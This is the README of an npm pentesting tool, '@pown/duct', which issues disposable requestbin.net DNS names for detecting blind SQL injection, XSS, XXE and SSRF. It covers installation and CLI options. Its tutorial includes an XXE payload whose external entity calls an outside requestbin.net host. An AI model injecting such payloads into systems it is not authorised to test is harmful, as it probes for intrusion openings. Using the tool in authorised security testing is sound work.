@pown/duct
v2.1.0
Published
Pownage guaranteed
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Pown Duct
Essential tool for finding blind injection attacks.
Credits
This tool is part of secapps.com open-source initiative.
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https://secapps.com
NB: This tool is taking advantage of requestbin.net service. Future versions will use a dedicated, custom-built infrastructure.
Quickstart
This tool is meant to be used as part of Pown.js but it can be invoked separately as an independent tool.
Install Pown first as usual:
$ npm install -g pown@latest
Invoke directly from Pown:
$ pown duct
Otherwise, install this module locally from the root of your project:
$ npm install @pown/duct --save
Once done, invoke pown cli:
$ ./node_modules/.bin/pown-cli duct
You can also use the global pown to invoke the tool locally:
$ POWN_ROOT=. pown duct
Usage
pown duct <command>
Side-channel attack enabler
Commands:
pown duct dns DNS ducting
Options:
--version Show version number [boolean]
--help Show help [boolean]
pown duct dns
pown duct dns
DNS ducting
Options:
--version Show version number [boolean]
--help Show help [boolean]
--channel Restore channel [string]
--output Output format [string] [choices: "string", "hexdump", "json"] [default: "string"]
Tutorial
There are cases when we need to perform an attack such as sql injection, XSS, XXE or SSRF but the target application is not providing any indication that it is vulnerable. One way to be sure if vulnerable is to try to inject a valid attack vector which forces a DNS resolver to ask for an attack controlled domain. If the resolution is successful, the attack will be considered successful.
NOTE: You might be familiar with Burp Collaborator which provides a similar service for profesional usage.
First, we need a disposable dns name to resolve:
$ pown duct dns
Using the provided DNS, compose your payload. For example, the following could trigger trigger DNS resolution if XXE vulnerability is present.
<!DOCTYPE foo [
<!ELEMENT foo ANY>
<!ENTITY bar SYSTEM
"http://showmethemoney.f92839570333a5d62743.d.requestbin.net">
]>
<foo>
&bar;
</foo>
If the attack was successful, we will get a message in the terminal.